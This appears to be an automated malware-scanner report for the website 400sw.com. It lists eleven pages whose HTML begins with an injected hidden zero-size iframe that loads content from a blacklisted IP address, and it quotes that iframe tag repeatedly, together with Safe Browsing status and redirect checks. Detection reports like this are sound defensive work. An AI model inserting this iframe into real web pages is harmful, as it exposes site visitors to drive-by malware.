New scan:

Malware Scanner report for 400sw.com

Malicious/Suspicious/Total urls checked
11/0/15
11 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "400sw.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
11/0/11
11 malicious iframes found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=400sw.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://www.400sw.com/
200 OK
Content-Length: 19348
Content-Type: text/html
malicious
Page code contains blacklisted domain: 116.255.251.86

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w
...[4084 bytes skipped]...

Malicious iFrame found.
size: 0x0     
src: http://116.255.251.86:99/index.htm
This URL is marked by Google as suspicious

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0>

http://www.400sw.com/us/pay.html
200 OK
Content-Length: 15884
Content-Type: text/html
malicious
Page code contains blacklisted domain: 116.255.251.86

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<h
...[4362 bytes skipped]...

Malicious iFrame found.
size: 0x0     
src: http://116.255.251.86:99/index.htm
This URL is marked by Google as suspicious

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0>

http://stat.mpnco.com.cn/stat/a.ashx?s=sOYLl2YYK~6BddFFKUl7trW7uXpnuzppYlNPgovYToCJ2sxdj6cXqJgocOqqBsoT&c=sOYLl2YYK~6BddFFKUl7trW7uXpnuzppYlNPgovYToCJ2sxdj6cXqJgocOqqBsoT
200 OK
Content-Length: 1303
Content-Type: text/html
clean
http://f.mpnco.cn/files/js/sharedcookie.js
200 OK
Content-Length: 2064
Content-Type: application/x-javascript
clean
http://f.mpnco.cn/files/js/client.js
200 OK
Content-Length: 29996
Content-Type: application/x-javascript
clean
http://stat.mpnco.com.cn/test404page.js
404 Not Found
Content-Length: 1163
Content-Type: text/html
clean
http://www.400sw.com/us/zizhi.html
200 OK
Content-Length: 1381
Content-Type: text/html
malicious
Page code contains blacklisted domain: 116.255.251.86

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<h
...[1156 bytes skipped]...

Malicious iFrame found.
size: 0x0     
src: http://116.255.251.86:99/index.htm
This URL is marked by Google as suspicious

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0>

http://www.400sw.com/shanghai/index-1.html
200 OK
Content-Length: 4277
Content-Type: text/html
malicious
Page code contains blacklisted domain: 116.255.251.86

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<ht
...[4528 bytes skipped]...

Malicious iFrame found.
size: 0x0     
src: http://116.255.251.86:99/index.htm
This URL is marked by Google as suspicious

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0>

http://www.400sw.com/beijing/index-1.html
200 OK
Content-Length: 19635
Content-Type: text/html
malicious
Page code contains blacklisted domain: 116.255.251.86

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<htm
...[4323 bytes skipped]...

Malicious iFrame found.
size: 0x0     
src: http://116.255.251.86:99/index.htm
This URL is marked by Google as suspicious

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0>

http://www.400sw.com/shenzhen/index-1.html
200 OK
Content-Length: 19983
Content-Type: text/html
malicious
Page code contains blacklisted domain: 116.255.251.86

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<ht
...[4306 bytes skipped]...

Malicious iFrame found.
size: 0x0     
src: http://116.255.251.86:99/index.htm
This URL is marked by Google as suspicious

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0>

http://www.400sw.com/guangzhou/index-1.html
200 OK
Content-Length: 19748
Content-Type: text/html
malicious
Page code contains blacklisted domain: 116.255.251.86

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<ht
...[4334 bytes skipped]...

Malicious iFrame found.
size: 0x0     
src: http://116.255.251.86:99/index.htm
This URL is marked by Google as suspicious

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0>

http://www.400sw.com/tianjin/index-1.html
200 OK
Content-Length: 11517
Content-Type: text/html
malicious
Page code contains blacklisted domain: 116.255.251.86

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<ht
...[4769 bytes skipped]...

Malicious iFrame found.
size: 0x0     
src: http://116.255.251.86:99/index.htm
This URL is marked by Google as suspicious

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0>

http://www.400sw.com/nanjing/index-1.html
200 OK
Content-Length: 21827
Content-Type: text/html
malicious
Page code contains blacklisted domain: 116.255.251.86

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<h
...[4306 bytes skipped]...

Malicious iFrame found.
size: 0x0     
src: http://116.255.251.86:99/index.htm
This URL is marked by Google as suspicious

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0>

http://www.400sw.com/dalian/index-1.html
200 OK
Content-Length: 1381
Content-Type: text/html
malicious
Page code contains blacklisted domain: 116.255.251.86

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<h
...[1106 bytes skipped]...

Malicious iFrame found.
size: 0x0     
src: http://116.255.251.86:99/index.htm
This URL is marked by Google as suspicious

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0>

http://www.400sw.com/hangzhou/index-1.html
200 OK
Content-Length: 10069
Content-Type: text/html
malicious
Page code contains blacklisted domain: 116.255.251.86

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<ht
...[4474 bytes skipped]...

Malicious iFrame found.
size: 0x0     
src: http://116.255.251.86:99/index.htm
This URL is marked by Google as suspicious

<iframe src= http://116.255.251.86:99/index.htm width=0 height=0>


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: 400sw.com

Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: 400sw.com
Referer: http://www.google.com/search?q=400sw.com

Result:
The result is similar to the first query. There are no suspicious redirects found.